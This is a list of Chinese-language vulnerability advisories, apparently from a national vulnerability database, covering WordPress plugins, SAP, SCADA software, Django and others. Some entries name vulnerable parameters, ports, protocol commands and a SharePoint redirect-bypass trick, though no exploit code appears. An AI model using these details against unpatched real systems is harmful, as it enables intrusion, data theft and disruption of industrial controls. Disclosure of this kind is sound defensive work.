EViews是一款计量经济学和统计分析软件。EViews存在安全漏洞，攻击者可以利用漏洞破坏内存。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress WP Forum Server插件存在SQL注入漏洞，由于应用程序没有合理地验证'edit_post_id'参数的用户输入数据，就使用它进行SQL查询，导致SQL注入攻击。攻击者可利用此漏洞访问或修改相关数据，并进一步利用底层数据库漏洞发起其他攻击。
MY MP3 Player是一款音乐播放器。MY MP3 Player 3.0 m3u对输入没有充分限制容易出现DEP绕过利用漏洞。攻击者可以利用此漏洞执行任意代码达到攻击的目的。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
iManager项目管理专家系统基于Lotus Domino/Notes，客户端是IE浏览器，不增加客户拥有成本。iManager Plugin存在远程文件删除漏洞，由于输入的"D"参数可以传递给phpCrop/crop.php，可以通过遍历这些参数获得Web服务器的权限来删除远程文件。远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
StarDevelop LiveHelp是一款客户服务软件解决方案。StarDevelop LiveHelp存在本地文件包含漏洞，攻击者可以利用漏洞获得潜在的敏感信息，并在Web服务器进程中执行任意的本地脚本。
iManager是一款net4visions开发的文件/图像管理插件。net4visions iManager存在本地文件包含漏洞，由于通过'lang'参数传递到imanager.php，rfiles.php，symbols.php，colorpicker.php，loadmsg.php，ov_rfiles.php和examples.php的输入在被用于包含文件前未能正确验证，攻击者可以利用漏洞通过目录遍历攻击和URL编码NULL字节的文件从本地资源包含文件。
iBrowser是一款net4visions开发的图像浏览器插件。net4visions iBrowser存在本地文件包含漏洞，由于通过'lang'参数传递到ibrowser.php，loadmsg.php，rfiles.php 和symbols.php的输入在被用于包含文件前未能正确验证，攻击者可以利用漏洞通过目录遍历攻击和URL编码NULL字节的文件从本地资源包含文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress s2Member存在本地文件泄露漏洞，由于应用程序没有充分验证用户提供的输入，远程攻击者可利用该漏洞从本地文件中获取敏感信息。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Mini Mail Dashboard Widget存在远程文件包含漏洞，由于用户提供的数据没有经过充分过滤，远程攻击者可借助abspath参数导致应用程序崩溃。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP e-Commerce存在SQL注入漏洞，由于用户提供的输入在被用于SQL查询之前没有经过正确过滤，远程攻击者可借助cs1参数访问或者修改数据。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。com.sap.ipc.webapp.ipcpricing应用程序存在未明错误，可导致敏感信息泄露。
SAP Crystal Reports Server 2008是一个全面报表解决方案，通过网络或嵌入企业应用程序来创建、管理和交付报表。通过"service"参数传递给pubDBLogon.jsp脚本的输入在返回用户之前缺少过滤，可导致跨站脚本漏洞，可在目标用户浏览器上执行任意HTML和脚本代码。
Blue Coat Director可帮助您通过简单易用的单一Web界面，集中管理网络策略和设备。相关HTTP TRACE请求的输入在返回用户之前缺少过滤，可导致跨站脚本漏洞，可在目标用户浏览器上执行任意HTML和脚本代码。
SAP Web应用服务器（有时称为WebAS）是SAP应用的运行时环境--所有的mySAP商务套件解决方案（SRM，CRM，SCM，PLM，ERP）都运行在SAP WebAS上。SAP Web应用服务器提供'cachetest'服务存在输入验证漏洞，未验证攻击者可以利用漏洞远程破坏SAP Web应用服务器，造成拒绝服务攻击。
SAP Web应用服务器（有时称为WebAS）是SAP应用的运行时环境--所有的mySAP商务套件解决方案（SRM，CRM，SCM，PLM，ERP）都运行在SAP WebAS上。SAP Web应用服务器提供通过WEB引擎访问多项服务，也即SAP Internet Communication Framework (ICM)。SHORTCUT ICF服务是一项危险的功能，它可被第三方程序匿名执行对最终用户进行客户端攻击。此外，此服务包含一个参数注入漏洞，可使攻击者对系统进一步控制。目前没有详细的漏洞细节提供。
phpMyAdmin是一款基于PHP的MySQL管理程序。phpMyAdmin存在安全漏洞，由于部分传递给表，列和索引名的输入在使用之前缺少过滤，可被利用注入任意HTML和脚本代码，当恶意数据查看时可在用户浏览器上下文执行。
phpMyAdmin是一款基于PHP的MySQL管理程序。phpMyAdmin存在安全漏洞，由于传递给内联编辑和保存之后的行内容的输入在使用之前缺少过滤，可被利用注入任意HTML和脚本代码，当恶意数据查看时可在用户浏览器上下文执行。
Nortel Networks Nortel Contact Recording Centralized Archive安装Tomcat http服务器监听8080端口，提供如下在XML中声明的servlet：c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml :..   <servlet-mapping>      <servlet-name>EyrAPIConfiguration</servlet-name>      <url-pattern>/EyrAPIConfiguration/*</url-pattern>   </servlet-mapping>..http://[host]:8080/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIfEyrAPIConfiguration Web服务getSubKeys()方法不正确使用prepareStatement()函数，它内部串联一个SELECT查询并使用用户提供的值。并且unpunctuate()函数没有过滤传递的值，结果导致远程攻击者向8080端口发送包含getSubKeys字符串的SOAP消息，执行任意SQL命令。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Auctions存在SQL注入漏洞，目前没有详细细节提供。
IBM WebSphere Commerce是一款商务应用开发软件。IBM WebSphere Commerce WEB服务使用的活动令牌验证(Activity Token authentication)机制存在未明错误。目前没有详细漏洞细节提供。
SAP Web应用服务器（有时称为WebAS）是SAP应用的运行时环境--所有的mySAP商务套件解决方案（SRM，CRM，SCM，PLM，ERP）都运行在SAP WebAS上。SAP Web应用服务器WEBRFC ICF服务存在输入验证漏洞，攻击者可以利用漏洞进行跨站脚本攻击。
JBoss是一款基于J2EE的开源应用服务器。JBoss应用服务器存在安全漏洞，攻击者可以利用漏洞窃取服务器上的敏感信息。
EMC Ionix从物理到虚拟再到云新一代IT管理-解决方案。多个EMC Ionix产品存在一个缓冲区溢出，此漏洞允许远程未验证用户向TCP或UDP发送特制消息触发，可能以服务进程上下文执行任意代码。
DivX Plus Web Player是一款基于浏览器的网络视频播放器。当处理超长"file://" URLs时，DivXPlaybackModule.dll存在一个边界错误，诱使用户访问恶意WEB站点，可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
SAP NetWeaver Web Application Server是用作SAP Web应用程序服务器的NetWeaver组件。SAP NetWeaver Web Application Server在WEBRFC ICF服务的实现上存在跨站脚本执行漏洞，远程攻击者可利用此漏洞执行任意脚本代码，窃取cookie验证凭证。1）cachetest服务中存在错误，可被利用呈现ERP功能不可用。2）发送到WEBRFC ICF服务的某些输入在返回给用户之前没有正确过滤，可被利用执行HTML和脚本代码。3）SHORTCUT ICF服务中的错误被被利用泄露某些敏感信息。
Movicon是第一个完全基于XML的Scada/HMI软件，由意大利著名自动化软件供应商PROGEA公司开发。  Movicon 11.2 Build 1085及其他版本的dwmapi.dll中存在任意代码执行漏洞。远程攻击者可通过诱骗合法用户使用受影响应用程序打开包含特制动态链接库（DLL）文件的网络共享位置上的文件。
Subsembly Banking中存在多个HTML注入漏洞。由于用户提供的输入在被用于生成动态内容之前没有经过正确过滤，远程攻击者可利用这些漏洞在受影响浏览器上下文中执行任意HTML和脚本代码，窃取基于cookie的认证证书或控制站点如何呈现给用户。
FortiMail是当前最为灵活的邮件安全系统，可以保护和部署于各种邮件结构，过滤垃圾邮件。病毒和间谍软件，实现全面的防御体系。  FortiMail 4.0 build 0245，101208及其他版本的module/admin.fe中存在多个跨站脚本攻击漏洞。由于应用程序没有充分过滤用户提供的数据，远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码并窃取基于cookie的认证证书。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WP Forum Server插件中存在SQL注入漏洞。该漏洞源于用户提供的输入在被用于SQL查询之前没有经过正确过滤，远程攻击者可借助edit_post_id参数访问或者修改数据。
Habari是一个轻量级的开源博客程序。  Habari的HB-Cumulus插件中存在跨站脚本攻击漏洞。该漏洞源于应用程序没有正确过滤用户提供的输入，远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码并窃取基于cookie的认证证书。
FortiAnalyzer采用的是专用的硬件设备来实现对FortiGate和第三方产品进行实时的网络日志、分析和报表等功能。  FortiAnalyzer中存在跨站脚本攻击和HTML注入漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码并窃取基于cookie的认证证书。
Argus Surveillance DVR是一款视频播放工具。  Argus Surveillance DVR中存在多个跨站脚本攻击和HTML注入漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码并窃取基于cookie的认证证书。
GeoVision DVR中存在多个跨站脚本攻击和HTML注入漏洞。由于用户提供的输入在被用于生成动态内容之前没有经过正确过滤，远程攻击者可利用这些漏洞在受影响浏览器上下文中运行HTML和脚本代码并可能窃取基于cookie的认证证书或控制该站点如何呈现给用户。
Rockwell RSLogix是一款工业自动化方面的编程软件。Rockwell RSLogix中某些dll文件不能很好限制位于'RNA'字段的数据包大小，容易产生溢出和无效的读取访问。攻击者利用此漏洞可以执行任意代码达到攻击目的。
Movicon由意大利著名自动化软件供应商PROGEA公司开发。Movicon是全新的第三代(Scada/HMI)工业监控软件。Progea Movicon/PowerHMI由于对Content-Length字段未充分限制容易产生溢出漏洞。攻击者可以利用此漏洞执行任意代码达到攻击的目的。
DotProject是一个在1996年左右，由开源组织自发组织人员开发的一个开源的项目管理软件系统，基于Web，可以部署于局域网/广域网的办公环境中，客户端不需要安装任何软件，只要有IE、Firefox、Opera等浏览器即可。dotProject由于对输入没有充分限制容易产生SQL注入漏洞，攻击者可以利用此漏洞执行任意代码达到攻击目的。攻击者可以利用这些漏洞在受影响的设备上执行任意代码。
TYPO3是一个免费开源的内容管理系统。TYPO3 Core不正确过滤用户提供的查询参数，可导致SQL注入攻击，可能获得敏感信息或操作数据库。
Microsoft SharePoint Server是一款服务器功能集成套件，提供全面的内容管理和企业搜索、加速共享业务流程并便利跨界限信息共享。Microsoft Sharepoint多个页面和组件使用source参数在访问某些页面后重定向用户到新的位置，如POST /Docs/Lists/Announcements/NewForm.aspx?Source=http%3a%2f%2f127.0.0.1%2fDocs%2fdefault.aspx为了避免跨应用重定向，Microsoft Sharepoint对这些重定向进行强制检查，并限制在localhost或127.0.0.1, 或SharePoint服务器IP上。不过此验证实现存在缺陷，创建一个localhost字符串或者127.0.0.1开头的主机名可绕过这个检查。由于域命名限制127.0.0.1前缀不能利用，如http://127.0.0.1.seekersec.com是非法域名，但是重定向http://localhost.seekersec.com或http://localhostie.seekersec.com是合法的。如下的前缀可提供给source参数进行漏洞利用localhostaaa, localhost.seekersec.com。
Measuresoft ScadaPro提供集成数据手机，监视，日志记录，报告生成等功能。Measuresoft ScadaPro存在安全漏洞，向TCP 11234端口发送特制"uF"命令，可删除任意文件。
Measuresoft ScadaPro提供集成数据手机，监视，日志记录，报告生成等功能。Measuresoft ScadaPro存在安全漏洞，向TCP 11234端口发送特制"wF"命令，可获得任意文件内容。
Measuresoft ScadaPro提供集成数据手机，监视，日志记录，报告生成等功能。Measuresoft ScadaPro存在安全漏洞，向TCP 11234端口发送特制"RF"命令，可获得任意文件内容。
Cogent DataHub是SCADA和自动化领域的软件。Cogent DataHub存在服务器/服务使用自定义WEB服务器，监听80端口，在请求的脚本后追加+，%20，%2e等字符，可获得脚本源代码信息。
Cogent DataHub是SCADA和自动化领域的软件。Cogent DataHub存在服务器/服务使用自定义WEB服务器，监听80端口，软件不正确处理目录遍历序列，攻击者可以利用漏洞下载服务器上的文件。
Measuresoft ScadaPro提供集成数据手机，监视，日志记录，报告生成等功能。当处理报文时service.exe存在多个边界错误，向TCP 11234端口发送特制命令可触发基于栈的缓冲区溢出。
eSignal是一款外汇交易平台，提供各种市场数据。eSignal存在处理各种文件中Font->FaceName字段可触发基于堆的溢出。
eSignal是一款外汇交易平台，提供各种市场数据。eSignal存在软件不正确处理"<StyleTemplate>"文件可导致任意代码执行。
Cogent DataHub是SCADA和自动化领域的软件。Cogent DataHub存在服务器/服务使用自定义WEB服务器，监听80端口，软件不正确处理Content-Length字段(-1 or 4294967295)加1，可导致整数溢出。
Cogent DataHub是SCADA和自动化领域的软件。Cogent DataHub存在服务器/服务监听4052和4053端口，不同的是第二个端口使用SSL，第一个使用明文。"DH_OneSecondTick"函数存在基于栈的unicode缓冲区溢出，通过"domain", "report_domain", "register_datahub", "slave"和其他命令可触发。
Linux是一款开放源代码的操作系统。B43驱动处理传入帧存在缺陷，攻击者可以发送特制帧给使用Broadcom 43xx系列无线设备的系统，利用此漏洞可使系统崩溃。
Movicon是一款意大利的HMI/SCADA软件。软件运行项目时会监听12233端口处理特制"EIDP"协议，通过WEB服务提交特制的"EIDP"报文(字段过大)可使服务程序崩溃。
Colasoft Capsa是一款非常容易使用的基于TCP/IP协议的网络监测，嗅探，分析工具。Colasoft Capsa不正确处理畸形SNMP V1报文，远程攻击者可以利用漏洞发送特制报文使应用程序崩溃，造成拒绝服务攻击。
Movicon是一款意大利的HMI/SCADA软件。软件运行项目时会监听808端口接收HTTP请求，服务器不正确处理负的Content-Length字段可触发基于堆的缓冲区溢出，通过"memcpy(heap_buffer, input, content_length_size)"可破坏内存。此外提交包含8192字节的传入HTTP请求可触发基于堆的溢出。
AzeoTech DAQFactory是一款HMI/SCADA软件。当DAQFactory运行在UDP 20034端口时最大接收的NETB报文为0x400字节。记录传入报文的信息存在基于栈的缓冲区溢出，允许攻击者执行恶意代码。
Barracuda WAF是一款WEB应用防火墙。Barracuda Web过滤器910存在多个输入验证漏洞，远程攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
MetaStock是专业的外汇、黄金行情软件,提供外汇、黄金、期货、期指等实时数据。所有MetaStock支持的文件(mwc/mws charts, mwt templates和mwl layout)存在释放后使用漏洞，可通过非法和畸形文件触发。
Google Sketchup是一套直接面向设计方案创作过程的设计工具。Google Sketchup通过过滤器处理破坏的DAE文件时存在内存破坏漏洞，构建特制的DAE文件，诱使用户打开，可导致以应用程序上下文执行任意代码。
Beckhoff TwinCAT是一款提供完整数控功能的基于PC的软件解决方案。Beckhoff TwinCAT不正确处理用户提交的请求，远程攻击者可利用漏洞触发非法访问，造成拒绝服务攻击。
UPEK Protector Suite QL是一款用于驱动指纹识别模块的程序。UPEK Protector Suite QL存在一个未明缓冲区溢出漏洞，允许攻击者以应用程序上下文执行任意代码。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WP-Filebase Download Manager插件中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助base参数访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的A to Z Category Listing插件中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助参数R访问或者修改数据。
MYRE Real Estate Software的findagent.php中存在SQL注入和多个跨站脚本攻击漏洞。远程攻击者可利用这些漏洞窃取基于cookie的认证证书，访问或者修改数据。
Xataface WebAuction 0.3.6之前版本和Librarian DB 0.2之前版本中存在多个输入验证漏洞，包含：多个跨站脚本攻击，SQL注入和本地文件包含漏洞。远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码和PHP代码并窃取基于cookie的认证证书，访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Event Registration插件中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助event_id参数访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Tune Library插件中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助letter参数访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress 3.0.4及其他版本中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助comment_post_ID参数访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Easy Comment Uploads插件中的upload.php中存在任意文件上传漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可利用该漏洞上传任意PHP代码并在Web服务器进程上下文中执行该代码，导致非法访问或者特权提升。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3的WEC Staff Directory扩展中存在任意文件上传漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可利用该漏洞上传任意代码并在Web服务器进程上下文中执行该代码，导致非法访问或者特权提升。
TomatoCart 1.1及其他版本中存在本地文件包含漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可利用该漏洞获取潜在敏感信息并执行Web服务器进程上下文中的任意本地脚本。
NetCat CMS中存在SQL注入和PHP代码执行漏洞。由于应用程序没有充分过滤用户提供的数据，远程攻击者可利用该漏洞访问或者修改数据，或执行应用程序上下文中的任意PHP代码。
PHP Support Tickets 2.2及其他版本中存在PHP代码执行漏洞。该漏洞源于应用程序没有正确过滤用户提供的输入，远程攻击者可借助page参数执行受影响web服务器进程上下文中的任意PHP代码。
SLAED CMS中存在多个远程PHP代码执行漏洞。由于应用程序没有对用户提供的输入进行充分过滤，远程攻击者可利用该漏洞执行任意PHP代码。
Papoo CMS Light 4.0及其他版本中存在多个跨站脚本攻击漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用该漏洞在受影响站点上下文的用户浏览器中执行任意HTML和脚本代码，并窃取基于cookie的认证证书。
AstroCMS中存在文件泄露和SQL注入漏洞。远程攻击者可利用SQL注入漏洞通过操纵SQL查询逻辑在基础数据库中执行非法操作，可利用文件泄露漏洞从受影响计算机的本地文件中获取潜在敏感信息。
RSLinx Classic能够将RSLogix和RSNetWorx产品连接到罗克韦尔自动化网络和设备，也是一个OPC服务器。RsvcHost.exe和RNADiagReceiver.exe监听4446和其他端口，这些服务使用RnaUtility.dll没有正确处理"rna"报文中32位大小字段，可导致memset零溢出或非法读访问。
PlantVisor Enhanced是远程管理及监控系统。CarelDataServer.exe是WEB服务器监听80端口，由于不正确过滤用户提供的目录遍历序列，攻击者可利用漏洞获得服务器上的文件信息。
Adobe Reader/Acrobat是流行的处理PDF文件的应用程序。Adobe Reader/Acrobat处理PDF文件存在一个释放后使用错误，攻击者可以利用漏洞以应用程序上下文执行任意代码。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Paid Downloads插件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助download_key参数访问或修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Community Events插件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助id参数访问或修改数据。
OpenCart是新一代基于PHP开发的开源在线购物车系统。  OpenCart 1.5.1.1及其之前版本的缓存中存在目录遍历漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可利用该漏洞浏览web服务器上下文中的任意本地文件。
In-link 5.1.3 RC1及其他版本中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助cat参数访问或修改数据。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3的MailformPlus扩展中存在跨站脚本攻击漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可利用该漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码并窃取基于cookie的认证证书。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 Direct Mail Subscription扩展中存在SQL注入和跨站脚本攻击漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用这些漏洞访问或修改数据。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 SmoothGallery扩展中存在跨站脚本攻击和信息泄露漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用这些漏洞获取潜在敏感信息并执行受影响站点上下文用户浏览器中的任意脚本代码，窃取基于cookie的认证证书。
Drag Drop Mass Upload扩展中存在任意文件上传漏洞。该漏洞源于应用程序没有充分过滤用户提供的输入，远程攻击者可借助ameos_dragndropupload上传任意代码并在web服务器进程上下文中执行此代码，可导致非法访问或者特权提升。
Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器。  Adobe Acrobat X 10.1，9.4.5，8.3版本和Adobe Reader X 10.1之前版本及9.4.3版本中存在多个安全漏洞。远程攻击者可利用这些漏洞导致拒绝服务。
pluck是用php编写的简单内容管理系统。  Pluck 4.7及其他版本中存在多个本地文件包含和文件泄露漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用本地文件包含漏洞使用目录遍历字符串查看并执行web服务器进程上下文中的本地文件，可利用文件泄露漏洞获取受影响计算机上本地文件中的潜在敏感信息。
OpenCart是新一代基于PHP开发的开源在线购物车系统。  OpenCart 1.5.1.2及其他版本中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助product_id参数访问或修改数据。
MyAuth3 3.0及其他版本中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助pass参数访问或修改数据。
Wav Player是一款媒体播放器。Wav Player处理.pll文件存在缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
ScadaTEC ModbusTagServer和ScadaPhone存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序上下文执行任意代码。失败的攻击可导致拒绝服务。要触发此漏洞，需要诱使目标用户从zip文件中装载一个对象。
Aika是一款C++游戏引擎。Aika colladaconverter处理XML文件存在缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
MelOn Player是一款媒体播放器。MelOn Player处理'p_about.ini'文件存在缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
IBM Tivoli Security Information and Event Manager是一款可支持客户部署针对数据中心中的实时威胁管理和法规遵从性管理(借助用户活动监控和日志管理实现)的自动化安全管理解决方案。TSIEM存在跨站脚本攻击，传递给自定义报告的输入在返回用户之前缺少过滤，可导致跨站脚本攻击，攻击者可获得敏感信息或劫持用户会话。
Django是一款开放源代码的Web应用框架，由Python写成。当生成重定向应答的全路径URL时处理"X-Forwarded-Host" HTTP头存在错误，攻击者可以利用此漏洞进行缓存毒药攻击。
Django是一款开放源代码的Web应用框架，由Python写成。当校验提供给"URLField"字段类型的URLs处理重定向应答存在错误，攻击者可以利用此漏洞把重定向应答返回给"file://" URL，可判断服务器上的本地文件是否存在。
Django是一款开放源代码的Web应用框架，由Python写成。Django模型系统包括一个字段类型-- URLField --，用于校验提供的值是否为合法URL，如果布尔关键字参数verify_exists为真，会尝试校验提供的URL并解析。默认情况下，底层套接字没有超时设置，攻击者可以利用此漏洞发送特制URL消耗所有服务器内存，造成拒绝服务攻击。
Django是一款开放源代码的Web应用框架，由Python写成。当使用缓存后端时django.contrib.sessions中处理会话存在错误，可被利用操作会话信息。要成功个利用漏洞需要已知会话KEY和应用程序允许攻击者使用合法会话KEY储存字典类对象到缓冲中。
QEMU是一款面向完整PC系统的开源仿真器。SCSI子系统中的"scsi_disk_emulate_command()"函数(hw/scsi-disk.c)存在边界错误，构建特制的"READ CAPACITY"命令可触发缓冲区溢出，使Guest机崩溃。
深喉咙企业建站系统是开源的网站建设系统，又称深喉咙企业网站生成系统（深喉咙CMS）。深喉咙CMS中由于对数据处理不严，导致一个SQL注入漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件crawl rate tracker存在SQL注入漏洞，攻击者可以利用漏洞访问或修改数据。
Evolution是一款个人和工作组信息管理解决方案，可使用在Linux和Unix操作系统下，集成Email、日历、会议安排、联系人管理等功能。Evolution在发送消息时使用安全加强的IMAP连接(TLS或SSL)，但在发送消息后尝试把消息移动到已发送文件夹时忽略了这个设置，攻击者通过中间人攻击可获得敏感信息。
1 Flash Gallery 1.30至1.5.7版本的upload.php中存在任意文件上传漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可利用该漏洞上传任意代码并在web服务器进程上下文中执行该代码，导致非法访问或特权提升。
Red Hat Enterprise MRG Messaging和Grid中存在安全绕过漏洞。本地用户可利用该漏洞发布到Cumin控制以外的中间装置并执行某些操作，如调度作业、设置作业属性、保持、释放或删除作业。
DVD X Player是一款流行的DVD播放器。DVD X Player 5.5 .plf播放列表存在缓冲区溢出漏洞，由于边界检查错误，可通过在播放列表中提供含长字符串的数据，引起基于栈的缓冲区溢出。攻击者可利用此漏洞在用户上下文中执行任意代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Community Events plugin存在SQL注入漏洞，由于通过POST方式提交的id参数值未经严格地过滤，就使用它执行SQL语句查询，可导致底层数据库信息泄露。远程攻击者可利用此漏洞，获取相关信息并发起进一步攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Paid Downloads插件存在SQL注入漏洞，由于download.php脚本中缺少对download_key参数合法性判断语句，导致SQL注入攻击。远程攻击者可通过构造恶意的SQL查询语句以利用此漏洞，导致敏感信息泄露。
WordPress 1 Flash Gallery Plugin是一款用于wordpress的图库插件。wp-content/plugins/1-flash-gallery/upload.php脚本(当"action"设置为"uploadify" 和"fileext"设置为"php")没有正确校验上传文件，攻击者可上传文件以WEB进程上下文执行任意PHP代码。
Wireshark是一款开放源代码的网络协议分析工具。CSN.1解析器中的未初始化变量可导致应用程序崩溃。向网络中注入恶意报文或诱使用户打开畸形报文跟踪文件，可使Wireshark崩溃。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark OpenSafety解析器存在安全漏洞，构建恶意OpenSafety报文，如果dataLength=205小于frame1Size=230，可导致packet-opensafety.c:unxorFrame()崩溃，其中的for()循环会尝试执行40亿次之多。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark存在安全漏洞，允许执行任意Lua脚本。攻击者可以使用类似DLL劫持的方法使得Wireshark运行任意代码。
Quassel是一款跨平台的分布式IRC聊天客户端。Quassel src/core/ctcpparser.cpp中的CtcpParser::packedReply没有正确处理部分CTCP请求，允许远程攻击者连接与目标用户相同的IRC网络。发送特制CTCP请求进行拒绝服务攻击。
Linux是一款开源的操作系统。FUSE_NOTIFY_INVAL_ENTRY没有检查写的长度，因此消息处理可能溢出，导致触发"kernel BUG at fs/fuse/dev.c:629!"，造成拒绝服务攻击。能安装FUSE文件系统的用户可利用这个缺陷使系统崩溃。
OpenCart是基于PHP开发的开源在线购物车系统。OpenCart缓存存在任意文件覆盖漏洞，由于传递到index.php (当"route"设置为"account/register/zone")中"country_id"的输入在system/library/cache.php中被用于创建缓存文件前未能正确验证，攻击者可以利用漏洞过目录遍历攻击和URL编码的NULL字节来覆盖任意文件。
TP-LINK TD-8810是一款无线路由器。设备没有对用户提交的HTTP请求进行正确校验，可导致攻击者以目标用户权限执行管理操作。当登录用户点击攻击者特制的URI可重启设备等操作。
ITT Web存在SQL注入漏洞，目前没有详细细节提供。
EasyGallery是一款开源的图库发布工具。Myisoft EasyGallery存在SQL注入漏洞，目前没有详细细节提供。
EasyGallery是一款开源的图库发布工具。Myisoft EasyGallery存在跨站脚本漏洞，目前没有详细细节提供。
Kolifa News System存在SQL注入漏洞，目前没有详细细节提供。
Kolifa News System存在跨站脚本漏洞，目前没有详细细节提供。
Drupal是一款开源的内容管理平台。 Author Pane是Drupal的一个模块。Drupal Author Pane模块存在安全绕过漏洞。当通过Location模块显示用户位置时，Author Pane模块未能正确验证“查看所有用户位置”的访问权限，攻击者可以利用漏洞查看任意用户的位置。
SkaDate是一款用来建设专业交友和社交网站的解决方案。SkaDate存在跨站脚本漏洞，由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
PlaySMS是一款基于Web的移动门户系统。PlaySMS SMS Gateway存在多个文件包含漏洞，由于通过"apps_path[themes]"参数传递到web/plugin/themes/default/page_forgot.php，web/plugin/themes/default/page_login.php，web/plugin/themes/default/page_noaccess.php，web/plugin/themes/default/page_register.php，web/plugin/themes/km2/page_noaccess.php，web/plugin/themes/work2/page_forgot.php，web/plugin/themes/work2/page_login.php，web/plugin/themes/work2/page_noaccess.php和web/plugin/themes/work2/page_register.php的输入在被用于包含文件前未能正确验证，攻击者可以利用漏洞包含本地和外部资源的任意文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Tweet old post存在SQL注入漏洞，由于wp-content/plugins/tweet-old-post/top-excludepost.php中，通过"cat"参数传递到wp-admin/admin.php (当"page"设置为"ExcludePosts"，"setFilter"设置为"Filter")的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
